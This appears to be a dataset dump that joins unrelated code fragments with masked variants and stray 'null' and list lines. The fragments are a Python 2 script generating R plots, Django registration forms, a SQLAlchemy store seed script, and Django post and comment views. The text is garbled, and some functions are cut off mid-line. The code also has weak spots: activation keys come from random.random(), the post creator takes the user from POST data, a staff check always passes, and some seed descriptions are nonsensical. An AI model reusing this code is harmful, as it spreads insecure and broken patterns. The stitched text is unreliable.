s[0]) if(m is not None): data[dataset][m.group(1)] = s[1:] continue m = re.match(r'tail length:.*', li) if(m is not None): data[dataset]['tail_len'] = s[1:] continue m = re.match(r'.*Number of unique.*', li) if(m is not None): data[dataset]['n_unique'] = s[1:] continue return data def check_data_agreement(data): for exp in data: max_range = min(len(data[exp]['n_tails']), len(data[exp]['tail_len']), len(data[exp]['n_unique'])) n_tails = 0 for index in range(1, max_range-1): try: n_tails += float(data[exp]['n_tails'][index]) except: print "Error at %s, %i" % (exp, index) print "%s: total tails=%f" % (exp, n_tails) def write_for_R(data, src_path): src_path = os.path.dirname(os.path.realpath(__file__)) files_for_R = list() check_data_agreement(data) for exp in data: with open("%s/figs/%s.forR" % ( src_path, exp.rstrip('.fastq.inserts') ), 'w') as f: li = "tail_len\tn_tails\tn_unique\tA\tC\tT\tG\n" max_range = min(len(data[exp]['n_tails']), len(data[exp]['tail_len']), len(data[exp]['n_unique'])) for index in range(0, max_range): li += "%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % ( data[exp]['tail_len'][index], data[exp]['n_tails'][index], data[exp]['n_unique'][index], data[exp]['A'][index], data[exp]['C'][index], data[exp]['T'][index], data[exp]['G'][index]) f.write(li) files_for_R.append("%s/figs/%s.forR" % ( src_path, exp.rstrip('.fastq.inserts'))) return files_for_R def r_script_for_barplot(files_for_R, src_path): for filename in files_for_R: li = """ f = read.table("%s", head=T)""" % filename li += """ bases = as.data.frame(cbind(f$A, f$C, f$T, f$G)) m = as.matrix(bases) outfname = "%s/figs/barplot_%s.eps" """ % (src_path, os.path.basename(filename)) li += r''' library(RColorBrewer) my_cols <- brewer.pal(4, "RdBu") setEPS(width=5,height=3); postscript(outfname) barplot(t(m), xlab = 'Tail length', ylab = 'Percent base composition', legend=c('A','C','T','G'), col=my_cols) dev.off() ''' li += """ outfname = "%s/figs/plot_%s.eps" """ % (src_path, os.path.basename(filename)) li += r''' library(RColorBrewer) my_cols <- brewer.pal(4, "RdBu") setEPS(width=5,height=10); postscript(outfname) par(mfrow=c(3,1)) plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length', ylab='Number of tails') plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length', ylab='Number of unique tails') barplot(t(m), xlab = 'Tail length', ylab = 'Percent base composition', legend=c('A','C','T','G'), col=my_cols) dev.off() ''' with open('tmp.r', 'w') as f: f.write(li) cmdl = """R CMD BATCH tmp.r""" os.system(cmdl) def make_figs(data_filename, src_path): print "In make_figs. Processing file %s" % data_filename data = parse_data_file(data_filename) if(not os.path.exists(src_path + "/figs")): print "making %s/figs" % src_path os.system("mkdir %s/figs" % src_path) files_for_R = write_for_R(data, src_path) r_script_for_barplot(files_for_R, src_path) if __name__ == '__main__': src_path = os.path.dirname(os.path.realpath(__file__)) args = parse_input() data = parse_data_file(args.data_file) if(not os.path.exists(src_path + '/figs')): os.system('mkdir ' + src_path + '/figs') files_for_R = write_for_R(data) r_script_for_barplot(files_for_R)
null
null
null
null
[ 0 ]
9,922
5f680fb21fe1090dfb58f5b9260739b91ae04d99
<mask token> class UserRegistrationForm(forms.Form): <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user, activation_key= activation_key, key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True, max_length=60) primary_contact_first_name = forms.CharField(required=True, max_length=30) primary_contact_last_name = forms.CharField(required=True, max_length=30) primary_contact_phone = forms.CharField(required=True, max_length=30) primary_contact_email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get( 'primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data[ 'primary_contact_email'], self.cleaned_data[ 'primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[ 'business_name']) new_profile.save() return new_user
<mask token> class UserRegistrationForm(forms.Form): <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get('email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] account_type = int(cleaned_data.get('form_type')) if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION): raise forms.ValidationError('Invalid account type') return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user, activation_key= activation_key, key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True, max_length=60) primary_contact_first_name = forms.CharField(required=True, max_length=30) primary_contact_last_name = forms.CharField(required=True, max_length=30) primary_contact_phone = forms.CharField(required=True, max_length=30) primary_contact_email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get( 'primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data[ 'primary_contact_email'], self.cleaned_data[ 'primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[ 'business_name']) new_profile.save() return new_user
<mask token> class UserRegistrationForm(forms.Form): first_name = forms.CharField(required=True, max_length=30) last_name = forms.CharField(required=True, max_length=30) email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_VOLUNTEER) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get('email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] account_type = int(cleaned_data.get('form_type')) if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION): raise forms.ValidationError('Invalid account type') return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user, activation_key= activation_key, key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True, max_length=60) primary_contact_first_name = forms.CharField(required=True, max_length=30) primary_contact_last_name = forms.CharField(required=True, max_length=30) primary_contact_phone = forms.CharField(required=True, max_length=30) primary_contact_email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get( 'primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data[ 'primary_contact_email'], self.cleaned_data[ 'primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[ 'business_name']) new_profile.save() return new_user
<mask token> MIN_PASSWORD_LENGTH = 8 MAX_PASSWORD_LENGTH = 30 class UserRegistrationForm(forms.Form): first_name = forms.CharField(required=True, max_length=30) last_name = forms.CharField(required=True, max_length=30) email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_VOLUNTEER) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get('email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] account_type = int(cleaned_data.get('form_type')) if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION): raise forms.ValidationError('Invalid account type') return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user, activation_key= activation_key, key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True, max_length=60) primary_contact_first_name = forms.CharField(required=True, max_length=30) primary_contact_last_name = forms.CharField(required=True, max_length=30) primary_contact_phone = forms.CharField(required=True, max_length=30) primary_contact_email = forms.EmailField(required=True, max_length=30) password = forms.CharField(widget=forms.PasswordInput, min_length= MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput, min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(), initial= UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data try: User.objects.get(username__exact=cleaned_data.get( 'primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError('Email already exists') password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError('Passwords do not match') del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data[ 'primary_contact_email'], self.cleaned_data[ 'primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username ).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile. ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[ 'business_name']) new_profile.save() return new_user
from django import forms from django.contrib.auth.models import User from ServicePad.apps.account.models import UserProfile import hashlib, random, datetime from ServicePad.apps.registration.models import ActivationKey MIN_PASSWORD_LENGTH=8 MAX_PASSWORD_LENGTH=30 class UserRegistrationForm(forms.Form): first_name = forms.CharField(required=True,max_length=30) last_name = forms.CharField(required=True,max_length=30) email = forms.EmailField(required=True,max_length=30) password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER) def clean(self): cleaned_data = self.cleaned_data #Verify usernames try: User.objects.get(username__exact=cleaned_data.get('email')) except User.DoesNotExist: pass else: raise forms.ValidationError("Email already exists") #Verify Passwords password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError("Passwords do not match") del cleaned_data['password'] del cleaned_data['confirm_password'] account_type = int(cleaned_data.get('form_type')) if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION: raise forms.ValidationError("Invalid account type") return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() #create the activation key salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True,max_length=60) primary_contact_first_name = forms.CharField(required=True,max_length=30) primary_contact_last_name = forms.CharField(required=True,max_length=30) primary_contact_phone = forms.CharField(required=True,max_length=30) primary_contact_email = forms.EmailField(required=True,max_length=30) password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data #Verify usernames try: User.objects.get(username__exact=cleaned_data.get('primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError("Email already exists") #Verify Passwords password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError("Passwords do not match") del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile.ACCOUNT_ORGANIZATION, business_name=self.cleaned_data['business_name'] ) new_profile.save() return new_user
[ 6, 7, 8, 9, 11 ]
9,923
964499c02548a7e790d96efcd780f471ab1fe1e3
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from database_setup import Category, Base, CategoryItem, User engine = create_engine('postgresql:///thegoodybasket') # Bind the engine to the metadata of the Base class so that the # declaratives can be accessed through a DBSession instance Base.metadata.bind = engine DBSession = sessionmaker(bind=engine) # A DBSession() instance establishes all conversations with the database # and represents a "staging zone" for all the objects loaded into the # database session object. Any change made against the objects in the # session won't be persisted into the database until you call # session.commit(). If you're not happy about the changes, you can # revert all of them back to the last commit by calling # session.rollback() session = DBSession() # Create dummy user User1 = User(name="Robo Barista", email="[email protected]", picture='profile1.jpg') session.add(User1) session.commit() User2 = User(name="Lisa Rodriguez", email="[email protected]", picture='profile2.jpg') session.add(User2) session.commit() User3 = User(name="Hannah Martin", email="[email protected]", picture='profile3.jpg') session.add(User3) session.commit() User4 = User(name="Brad Phillips", email="[email protected]", picture='profile4.jpg') session.add(User4) session.commit() User5 = User(name="Marv Robins", email="[email protected]", picture='profile5.jpg') session.add(User5) session.commit() User6 = User(name="Jennifer Andrews", email="[email protected]", picture='profile6.jpg') session.add(User6) session.commit() # items for Snowboarding category1 = Category(user_id=1, name="Snowboarding") session.add(category1) session.commit() categoryItem1 = CategoryItem(user_id=1, name="White Snowboard", description="Brand new white 145cm pro model. Also available in red, orange and grey.", price="$250.00", picture="snowboard_white.jpg", category=category1) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=1, name="Snow Jacket", description="Warm and puffy red snow jacket. Perfect for keeping warm!", price="$199.99", picture="jacket.jpg", category=category1) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=1, name="Snow Goggles", description="Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.", price="$49.99", picture="snow_goggles.jpg", category=category1) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=1, name="Snow Gloves", description="Thick and padded snow gloves to keep toasty hands. Available in red and black.", price="$39.99", picture="ski_gloves.jpg", category=category1) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=1, name="Snow Hat", description="Keep your head warm with this knitted-by-hand snow hat.", price="$17.99", picture="warm_hat.jpg", category=category1) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=1, name="Ray-Ban Aviators", description="Keep cool on the slopes with these huge aviators.", price="$1.99", picture="ray_bans.jpg", category=category1) session.add(categoryItem6) session.commit() # Items for Skiing category2 = Category(user_id=2, name="Skiing") session.add(category2) session.commit() categoryItem1 = CategoryItem(user_id=2, name="Ski Boots", description="Warm, lightweight and super rugged ski boots. Available in all sizes.", price="$175.50", picture="ski_boots.jpg", category=category2) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=2, name="Ski Gloves", description="Padded and warm waterproof gloves, available in red and black.", price="$52.99", picture="ski_gloves.jpg", category=category2) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=2, name="K2 Soloman Skis", description="Brand new 2015 Solomon K2 skis in size 175.", price="$450.00", picture="k2_skis.jpg", category=category2) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=2, name="Walking Boots", description="Warm and weatherproof. Available in all sizes.", price="$69.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=2, name="Enhanced walking boots", description="Made with grade A beef", price="$7.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=2, name="Gold plated walking boots", description="16oz of refreshing goodness", price="$1.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem6) session.commit() # Items for Laptops category3 = Category(user_id=3, name="Laptops") session.add(category3) session.commit() categoryItem1 = CategoryItem(user_id=3, name="Retina MacBook Pro 13 inch", description="MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD", price="$999.00", picture="macbook.jpg", category=category3) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=3, name="Microsoft Surface Pro 3", description="Microsoft Surface Pro 3 256GB Silver tablet with keyboard.", price="$799.99", picture="surface_pro.jpg", category=category3) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=3, name="Sony Vaio", description="Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).", price="$5.50", picture="sony_vaio.jpg", category=category3) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=3, name="Sony Vaio Mk 2", description="fresh baked and served with ice cream", price="$3.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=3, name="Enhanced Sony Vaio", description="Made with grade A beef instead of silicon chips.", price="$7.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=3, name="Root Beer", description="16oz of refreshing goodness", price="$1.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem6) session.commit() # Items for biking category. category4 = Category(user_id=4, name="Biking") session.add(category4) session.commit() categoryItem1 = CategoryItem(user_id=4, name="Racing Bike", description="Feel the speed with this super light and stiff carbon fibre racing bike.", price="$1499.99", picture="racing_bike.jpg", category=category4) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=4, name="Bike Helmet", description="Protect your head from falls with a super strong helmet.", price="$22.99", picture="bike_helmet.jpg", category=category4) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=4, name="Bike Chain", description="Spare chain with a full range of sizes and types available.", price="$15.50", picture="bike_chain.jpg", category=category4) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=4, name="27 Inch Tyre", description="A wonderfully resistant tyre with Smart Guard protection.", price="$33.99", picture="bike_tyres.jpg", category=category4) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=4, name="Puncture Repair Kit", description="Part of the essentials list when preparing for a bike ride.", price="$15.99", picture="puncture_repair_kit.jpg", category=category4) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=4, name="White Stripe Crash Helmet", description="Colourful and stylish streamlined biking helmet.", price="$29.99", picture="bike_helmet2.jpg", category=category4) session.add(categoryItem6) session.commit() # Items for surfing category. category5 = Category(user_id=5, name="Surfing") session.add(category5) session.commit() categoryItem1 = CategoryItem(user_id=5, name="Surf Wax", description="Essential surfboard traction.", price="$7.50", picture="surf_wax.jpg", category=category5) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=5, name="Surfboard", description="This versatile shape will glide you through the waves.", price="$299.99", picture="surfboard.jpg", category=category5) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=5, name="Wetsuit", description="Keep warm and protected in the cold months.", price="$150.00", picture="wetsuit.jpg", category=category5) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=5, name="Flip Flops", description="Blue, easy fit slip on.", price="$3.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=5, name="Hat", description="Hat for chilling in the beach sun.", price="$7.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=5, name="Root Beer soaked flip-flops", description="16oz of refreshing goodness poured over a fresh set of flip-flops", price="$1.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem6) session.commit() print "Added Category items and users!"
null
null
null
null
[ 0 ]
9,924
e9fab2bb49cfda00b8cfedafab0009f691d11ec9
<mask token> def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == 'POST': user = request.POST.get('user') title = request.POST.get('title') content = request.POST.get('content') PostStudent.objects.create(user=user, title=title, content=content) messages.success(request, 'Successfully Posted') context = {'form': form} return render(request, 'post/create_post.html', context) def temp_post(request): return render(request, 'post/Posts.html', {}) <mask token> def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by('-timestamp') query = request.GET.get('q') if query: obj = obj.filter(Q(title__icontains=query) | Q(content__icontains= query) | Q(user__icontains=query) | Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) <mask token> def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id= obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create(user=request. user, content_type=content_type, object_id=obj_id, content= content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/Posts.html', context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create(user= request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/post_details_student.html', context) <mask token>
<mask token> def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == 'POST': user = request.POST.get('user') title = request.POST.get('title') content = request.POST.get('content') PostStudent.objects.create(user=user, title=title, content=content) messages.success(request, 'Successfully Posted') context = {'form': form} return render(request, 'post/create_post.html', context) def temp_post(request): return render(request, 'post/Posts.html', {}) <mask token> def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by('-timestamp') query = request.GET.get('q') if query: obj = obj.filter(Q(title__icontains=query) | Q(content__icontains= query) | Q(user__icontains=query) | Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) def post_update(request, id=None): instance = get_object_or_404(Post, id=id) form = PostForm(request.POST or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item </a>Saved", extra_tags= 'html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = {'title': instance.title, 'instance': instance, 'form': form} return render(request, 'post/create_post.html', context) def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = 